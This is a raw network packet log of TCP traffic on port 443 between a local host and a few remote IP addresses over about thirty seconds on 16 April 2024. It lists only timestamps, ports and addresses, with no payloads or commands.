Apr 16, 2024 21:40:13.710361004 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.710371971 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.710520983 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.710550070 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.710558891 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.710639954 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.737425089 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.737957954 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.738007069 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.738492012 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.738892078 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.738892078 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.738934040 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.739006042 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.752940893 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.753022909 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.753124952 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.789066076 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.805229902 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.805285931 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.822921038 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.822985888 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.863023043 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.899862051 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900089979 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900229931 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900331020 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900361061 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.900391102 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900608063 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900641918 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.900655031 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.900691032 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.901238918 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.901375055 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.901402950 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.901424885 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.901449919 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.901463032 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.901580095 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.902215004 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.902319908 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.902350903 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.902360916 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.902383089 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.902679920 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.902753115 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.904134989 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.904171944 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.904172897 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.904198885 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.904203892 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.904236078 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.904253006 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.904315948 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.904344082 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.904871941 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.925880909 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.925967932 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.926574945 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.927006006 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.927041054 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.927412987 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.927438974 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.146564007 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.146794081 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.146832943 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.147320032 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.147738934 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.147738934 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.147774935 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.147851944 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.191059113 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.436894894 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.436963081 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437052965 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.437058926 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437131882 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437175035 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.437235117 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437283039 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.437299967 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437393904 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.437441111 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.437453985 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.478177071 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.478235960 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.484318972 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.484375000 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.484392881 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.525043011 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.625969887 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.626154900 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.626218081 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.626246929 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.626277924 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.626317978 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.626348019 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.628299952 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.628356934 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.628387928 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.628598928 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.628643036 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.628658056 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.629395008 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.629446983 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.629460096 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.629667044 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.629714012 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.629725933 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630004883 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630053997 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.630068064 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630184889 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630234003 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.630247116 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630656958 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630713940 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.630727053 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630793095 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.630836964 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.630850077 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.680916071 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.680979013 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.681039095 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.728276014 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.827317953 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.827512026 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.827579021 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.827645063 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.827747107 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.827790976 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.827807903 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.827987909 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:14.828058004 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.828145027 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:14.828174114 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.386905909 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.386944056 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.387200117 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.387444973 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.387454987 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.613286972 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.613639116 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.613667011 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.614772081 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.615326881 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.615326881 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.615344048 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.615509987 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:15.647737026 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.647864103 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.647973061 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648057938 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648103952 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.648143053 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648176908 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.648241997 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648327112 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648359060 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.648367882 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648474932 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.648482084 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.648504019 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.649625063 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.649635077 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.666922092 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:15.676130056 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676208973 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676254988 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676322937 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676368952 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676371098 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.676433086 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676476955 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.676506042 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676538944 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.676554918 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.676652908 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.676666975 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.697011948 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.700400114 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.728283882 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.728306055 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.729036093 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.729101896 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.729115009 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.743855000 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.743890047 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.775103092 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.790703058 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.832458973 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.832494974 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.832596064 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.832904100 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.833605051 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.833647966 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.848670959 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.848859072 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.848943949 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.848998070 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849034071 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849121094 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849208117 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849245071 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849256992 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849360943 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849363089 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849389076 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849421978 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849535942 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849620104 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849652052 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849659920 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849793911 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.849802017 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.849894047 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.850934982 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.850945950 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.851035118 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.872298002 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.872446060 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.872531891 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.872643948 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.872661114 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.872704029 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.872744083 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.872863054 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873099089 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.873127937 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873238087 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873354912 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873454094 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873490095 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.873507977 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.873539925 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.874123096 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.874202967 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.874214888 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.874317884 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.874411106 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.874479055 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.874492884 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.874598980 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.874610901 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875087976 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875184059 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.875196934 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875374079 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875458002 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875596046 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.875610113 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.875873089 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:15.926904917 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:15.978264093 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.068464994 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.068665981 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.068767071 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.068873882 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.068914890 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.068954945 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.069004059 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.069047928 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.069070101 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.069096088 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.069171906 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.069267035 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.069385052 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.070203066 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.070272923 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.070313931 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.070396900 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.071010113 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.071098089 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.071120977 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.071307898 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.071393967 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.071413994 CEST	443	49811	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:16.071444988 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.071444988 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.071651936 CEST	49811	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:16.654901981 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:16.655162096 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:16.655188084 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:16.655230999 CEST	443	49812	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:16.655287027 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:16.655309916 CEST	49812	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.402456999 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.402539968 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.402611971 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.403115034 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.403151989 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.623126984 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.623471975 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.623528957 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.623886108 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.624370098 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:24.624430895 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:24.664788008 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:26.793139935 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:26.793184996 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:26.793232918 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:26.793561935 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:26.793575048 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.021981955 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.022331953 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.022346973 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.023435116 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.023786068 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.023951054 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.023983002 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.064115047 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.071763039 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.792160988 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.792309999 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.793900967 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.793900967 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:27.793921947 CEST	443	49814	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:27.794389963 CEST	49814	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:39.617093086 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:39.617250919 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:39.619385004 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:40.873521090 CEST	49813	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:40.873548985 CEST	443	49813	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:45.103985071 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:45.104032993 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:45.104132891 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:45.104362965 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:45.104407072 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:45.316407919 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:45.316724062 CEST	49817	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:40:45.316785097 CEST	443	49817	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:45.317089081 CEST	443	49817	142.250.105.99	192.168.2.4
